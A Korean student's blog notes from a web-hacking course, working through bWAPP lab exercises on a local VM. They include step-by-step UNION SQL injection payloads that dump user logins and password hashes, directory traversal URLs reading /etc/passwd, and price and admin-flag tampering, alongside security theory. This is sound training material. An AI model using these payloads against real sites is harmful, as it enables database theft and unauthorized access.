*SQL Injection 사전지식
Database
( DB를 잘 모르는 사람들이 있어서 설명해 주셨는데, 난 사실 데이터베이스 관련 수업을 2개나 들었고 성적도 나쁘진 않았지만 할때마다 SQL문같은건 잘 생각이 안나서 맨날 찾아본다.. 그래서 좋았다.. ㅋ)
실습)
다시 어제하던 beebox의 SQL Injection (GET/Search) 로 가보자
*모든 계정에 대한 ID와 PW를 알아내려면?
- DB이름, TABLE이름, Column 이름을 알아내야 함
*SELECT문 뒤에 또 SELECT문을 사용하려면?
UNION으로 연결
ex) SELECT ~~~~~ UNION SELECT ~~~~~~~~~
*영화 검색창에서 실행되는 Select 문을 예상해보자
SELECT ?,?,?,? FROM ???? WHERE movie=' '; //아는게 별로없고 movie도 확실하지 않다
SELECT ?,?,?,? FROM ???? WHERE movie='' UNION SELECT ~~~~~'; //UNION을 사용하려고 보니까 앞의 컬럼개수를 모르는 상황!
SELECT ?,?,?,? FROM ???? WHERE movie='' UNION SELECT 1#'; //1개를 넣었을때 1개가 아니면 Different number of columns 라고 나옴
SELECT ?,?,?,? FROM ???? WHERE movie='' UNION SELECT 1,2#'; //2개도 안될지도
SELECT ?,?,?,? FROM ???? WHERE movie='' UNION SELECT 1,2,3#'; //3개도 안될지도..
SELECT ?,?,?,? FROM ???? WHERE movie='' UNION SELECT 1,2,3,4# '; //4개도 될지 안될지 모르지만 다 해보는거다
일단 표에서 나오는거만 해도 5개는 되는거같은데 그래서 123은 건너뛰고 4부터 해봐야곘다.
' UNION SELECT 1,2,3,4,5,6,7# // 7개를 넣으면 정상 실행됨, 보려는 값들은 2,3,4,5 에 넣어야함
참고) 철민씨의 방법 order by
근데 위에 너무 쓸모없는게 많이 뜨니까
man ' UNION SELECT 1,2,3,4,5,6,7# //합집합 개념이므로 man 이 포함된 경우와 같이 나옴
마준 ' UNION SELECT 1,2,3,4,5,6,7# //우리가 요청한 컬럼만 나옴
이런 식으로 뜨면 어차피 마준이라는 이름이 들어간 영화는 없으니까 다 지워지고 나오게 할 수 있다.
* DB명을 알아내려면?
(내부함수 : database() 는 DB명을 알려줌, version()은 MySQL버전을 알려줌, user()는 사용자 이름을 알려줌)
마준 ' UNION SELECT 1,database(),version(),user(),5,6,7# //그럼 이제 이렇게 넣어보자
* 버전이 필요한 이유 : 해당 버전의 취약점을 알아 볼 수 있다.
1. DB명 : bWAPP
*테이블 명을 알아보자
마준 ' UNION SELECT 1,2,3,table_name,5,6,7 FROM information_schema.tables#
마준 ' UNION SELECT 1,2,3,table_name,5,6,7 FROM information_schema.tables WHERE table_schema='bWAPP'#
이렇게 하면 필요한 것만 나올거같다.
5개만 나온모습
users 라는 테이블이 있음! (개인정보가 가득 들어있을 예정)
*컬럼명을 알아내려면?
마준 ' UNION SELECT 1,2,3,column_name,5,6,7 FROM information_schema.columns WHERE table_schema='bWAPP'#
근데 아까보다는 아니지만 그래도 많이나오니까 더 줄여본다
마준 ' UNION SELECT 1,2,3,column_name,5,6,7 FROM information_schema.columns WHERE table_schema='bWAPP' AND table_name='users'#
실제 저런구조인지 가서 beebox 가서 확인해보자
나온걸 확인할 수 있다.
여기서
use bWAPP;
입력해서 bWAPP를 사용하고
show tables;
입력해서 테이블 확인해보자
아까 알아봤던게 그대로 있다.
그럼 이번엔
decs users;
를 입력해서 users 테이블에 어떤 컬럼이 있는지 확인해보자
users 테이블의 내용을 확인하려면
select * from users;
줄바꿈 때문에 좀 이상하게 나왔지만 내가 지난번에 만든게 나오긴 나왔다.
이제 information_schema로 DB를 바꿔서 다른걸 좀 알아보자
table_schema 라는 컬럼과 table_name 라는 컬럼이 있음!
table_schema, table_name, column_name 등의 이름을 가진 컬럼이 있음!!
이런걸 봐두면 다른 DB에 가서도 금방 적응할 수 있다.
*우리가 원하는 컬럼은?
마준 ' UNION SELECT 1,2,3,column_name,5,6,7 FROM information_schema.columns WHERE table_schema='bWAPP' AND table_name='users'#
-------------> 중에서 ID, Login, Password, Secret 을 뽑아내보자!
마준 ' UNION SELECT 1,id,login,secret,password,6,7 FROM users #
그런데 패스워드가 해시값으로 나온다.
원래는 해시값으로 원문(password)를 알수는 없다.
하지만 미리 계산해 놓은 사이트가 있어서 가서 물어보자! https://hashes.com/ : 해시값을 알려주면 원문을 알려줌 (Salt가 없는경우만 가능)
이런식으로 나온다
내가 내 아이디 비번을 뭘로했길래 안나올까..?
(너무 어렵게 만들어서 만든사람도 까먹음)
*그런데 이 문장들이 해시값인지는 어떻게 알았을까요?
- a부터 f 까지의 알파벳(g이후로는 없음) 과 0부터 9까지의 숫자로 이루어져 있음 ---->hex-decimal (16진수)
- 16진수는 2의 4승이므로 4bit임 ( 각자리가 4 bit) ------> 40자리 * 4bit = 160bit ---->SHA-1의 해시값, 등등
-------------------------------------------------------------------------------------------------------------------------------------
* 정보 보호의 3요소
- 기밀성 ( Confidentiality ) : 내용이 노출되지 않도록 하는 것
- 무결성 ( Integrity ) : 내용이 변조되지 않도록 하는 것
- 가용성 ( Availability ) : 항상 사용 가능한 상태를 유지하는 것
*일반기업( 사기업 ) 은 기밀성 > 무결성 > 가용성
ex) 설계도(제조사), 개인정보(쇼핑몰 등), 영업비밀(마케팅, 물류 등)
----->암호화, 업무분리 (Job Seperation)
*공공기관, 공기업은 가용성 > 무결성 > 기밀성
ex) 항만, 철도, 공항, 통신 (전화, 인터넷), 전력, 정부기관망 등등 ---->전쟁을 전후로 사회 인프라를 공격하는 시도
------> 망분리(운용망과 인터넷 분리)
*보안 개발 생명 주기
- Life Cycle : 너무 오래된 소프트 웨어는 취약점도 많고 노후화 되면 페기해야 함
- 6~7년 지나면 차세대 시스템 사업 ( 교체 ) : 은행, 공공기관 사이트들의 개선 작업
실습 ) A4 : Insecure DOR (Order Tickets) //영화관 티켓 자리 다 먹어서 조져버리기 실습
- 영화티켓 구매하는 페이지에서 영화티켓 하나에 15EUR (약 2만 700원)
* 어떻게 하면 1EUR에 볼 수 있을까요?
그냥 개발자 도구에서 value 값을 변경해주면 되는거같다
강사님이 방법이 하나 더 있다고 하셨는데 아마 프록시를 이용하는거같다
두 방법 모두 가능하고 난 777유로로 해버렸다~ ㅋㅋ
이런식으로 가격을 낮춰서 혼자 다 예약 해버리는거다.
- 최근에는 CMS ( Contents Managemant System ) 을 도입한 회사들이 많이 있음
-----------> 가격이 변조되지 않았는지, 비정상 적으로 처리되지 않았는지 확인하는 시스템
-----------------------------------------------------------------------------------------------------------------------------------
실습 ) BeeBox A7 : Directory Traversal - Directories
- 디렉토리가 그대로 노출되고 있음
- 웹쉘을 업로드 하고, 웹쉘 업로드한 경로를 찾기 어려울 때 디렉토리가 그대로 노출되면 쉽게 실행 가능
* 그러면 /home/wolverine 디렉토리에 있는 PDF 파일은 몇개 일까요?
원래 주소가
http://192.168.5.130/bWAPP/directory_traversal_2.php?directory=documents
이거였는데 밑에꺼로 바꿔주면
http://192.168.5.130/bWAPP/directory_traversal_2.php?directory=/home/wolverine/Examples
된다
실습 2번째 ) A7 : Directory Traversal - Files
- 파일 내용이 그대로 노출됨
- /ect/passwd 에 보면 neo의 UID는 무엇일까요?
똑같이 http://192.168.5.130/bWAPP/directory_traversal_1.php?page=/etc/passwd 이런식으로 접근 하면 된다.
정답 : neo:x:1001:1001::/home/neo:/bin/sh
* 디렉토리가 노출되는 사이트의 특징
index.of
parent directory
----------------->검색어에 넣으면 디렉토리 노출되는 사이트를 보여줌
* 자산 (Asset) 에는 항상 약점 (Weakness) 이 있음
ex) 금,은,다이아몬드, 현금의 약점 : 누구껀지 이름이 안써있음, 쉽게 이동이 가능함
- 약점은 항상 존재함 ( 없어지지 않음 )
- 약점중에서 특정 버전에 특히 심각한 손상을 입힐 수 있는 부분을 취약점 ( Vulnerability, Vulns ) 이라고 함
- 취약점 중에서 특히 실제 공격이 가능하면 Exploit 라고함 ( Exploit 는 취약점을 공격한다는 의미 )
** - Zeroday Exploit :
- 알려지지 않은 취약점 ( 패치가 아직 없음, 제조사가 아직 모르는 상태 )
- 무방비 상태에서 공격을 하는 것
- 제조사가 패치를 만들기 전 ( PoC 이전, 패치를 만드는 중, 패치를 만들었는데 취약점이 사라지지 않는 경우 등등)
- 패치를 만드는데 걸리는 시간? 25~50일 (PoC --> 설계 --> 개발 --> 테스터(안되면 다시 PoC로) )
- 엠바고 ( 뉴스에 내지 말라고 언론에 요청함 )
- Drak Web에서 고액으로 거래가 되기도 함 ( iPhone 이 매우비쌈 > Windows > ...... )
** - Oneday Exploit : 알려진 취약점 ( 패치가 나와있음, 설치 안하면 공격 가능 )
- 패치가 있는데 왜 적용을 하지 않을까요? 의존성 ( Dependancy )문제 ---->OS를 업데이트하면 APP이 잘 안돌아갈수도
- 반도체 생산라인 OS를 업데이트?? 에러 발생시 엄청난 손실이 발생할 우려
Version : 3.2.8 ( 3: 업그레이드, 2: 업데이트, 8:패치 )
----------------------------------------------------------------------------------------------------------------------------------------------------
* Shodan : IoT기기를 검색하는 검색 엔진
--------------->취약한 IoT 기기를 검색하거나 ID/PW가 취약한 장치를 파악할 때 사용
- shodan.io 사이트에 접근하지 못하도록 차단하는 것이 좋다?? ( 내 눈을 가리는 행위 , 전세계 사람들은 다 보는데 우리만 안봐야 의미가 없다)
* Credential Stuffing ( 크리덴셜 스터핑, 자격 증명 스터핑 )
- 취약한 사이트에서 여러사람의 ID/PW 목록을 알아냄
- 다른 사이트에 대입해보는 공격 방식
- 원인 : 사용자들이 여러사이트에서 대부분 같은 ID/PW를 사용하는걸 이용
- 대응방법 : 강력한 보안 솔루션 사용?(X) ----> 사용자들이 사이트마다 서로 다른 ID/PW를 사용해야 함
실습 ) A2 : Broken Auth. - Insecure Login Forms
강사님은 개발자 도구 들어가서 수정했는데 사실 그전에 드래그만 해도 바로 보였다 ㅋㅋ
어이없음 ㅋㅋ
어처구니 없지만 이런식으로 숨겨놓거나 저장해놓거나 공유하는경우가 그만큼 많다는 의미이다.
실습 ) A2 Session Mgmt. - Administrative Portals
http://192.168.5.130/bWAPP/smgmt_admin_portal.php?admin=0 인 url을
http://192.168.5.130/bWAPP/smgmt_admin_portal.php?admin=1 로 바꾸면 끝난다 ㅋㅋ
이제 Medium 으로 가보자
힌트가 누가봐도 프록시 바꾸라는거죠?
근데 ㅋㅋ프록시 아니라 크롬에서 쿠키값 변경하는 툴 써도 될거같다.
지금 접속한게 익플 아니었으면 그걸로 했을듯
강사님도 설명해주시는게 edit cookie를 이용해서 하는걸 먼저 설명 해 주셨다.
실습 ) A6 : Base64 Encoding (Secret)
이렇게 나오길래 https://www.base64decode.org/ 에 접속해서 디코딩 했는데
이렇게 나왔다.
그런데 이게 답이 아니라고한다 ㅠ
---------------------------------------------------------------------------------------------------------------------------------------------
정답 )
알고보니 %가 껴있어서 BlueBell_Decoder 에서 2번 거쳐야 했다..
*Medium
답은 똑같았다.
실습 ) 로그아웃하고 blackpink 아이디로 다시 로그인 한다 다음에 같은 문제를 풀어보자
원래 답은 제니인데 난 가입할때 이상한걸 넣었어서 이상한 값이 나온다 ㅋㅋㅋㅋ;
실습 ) A2 : Broken Auth. - Logout Management
사실 로그아웃 하면 쿠키값이 삭제되어야 하는데 유지되고 있어서 수동으로 바꿔서 실습한 상황이다 ㅋㅋ
왜인지 로그아웃 했는데도 프록시에서 계속 같은 쿠키값을 보내서 좀 이상하다고 생각했다..
'공부 > Application Security' 카테고리의 다른 글
9월14일 웹해킹 7 (0) | 2022.09.14 |
---|---|
9월13일 웹해킹 6 (2) | 2022.09.13 |
9월7일 웹해킹 4 (0) | 2022.09.07 |
9월6일 웹해킹 3 (0) | 2022.09.06 |
9월 5일 웹해킹 2 (0) | 2022.09.05 |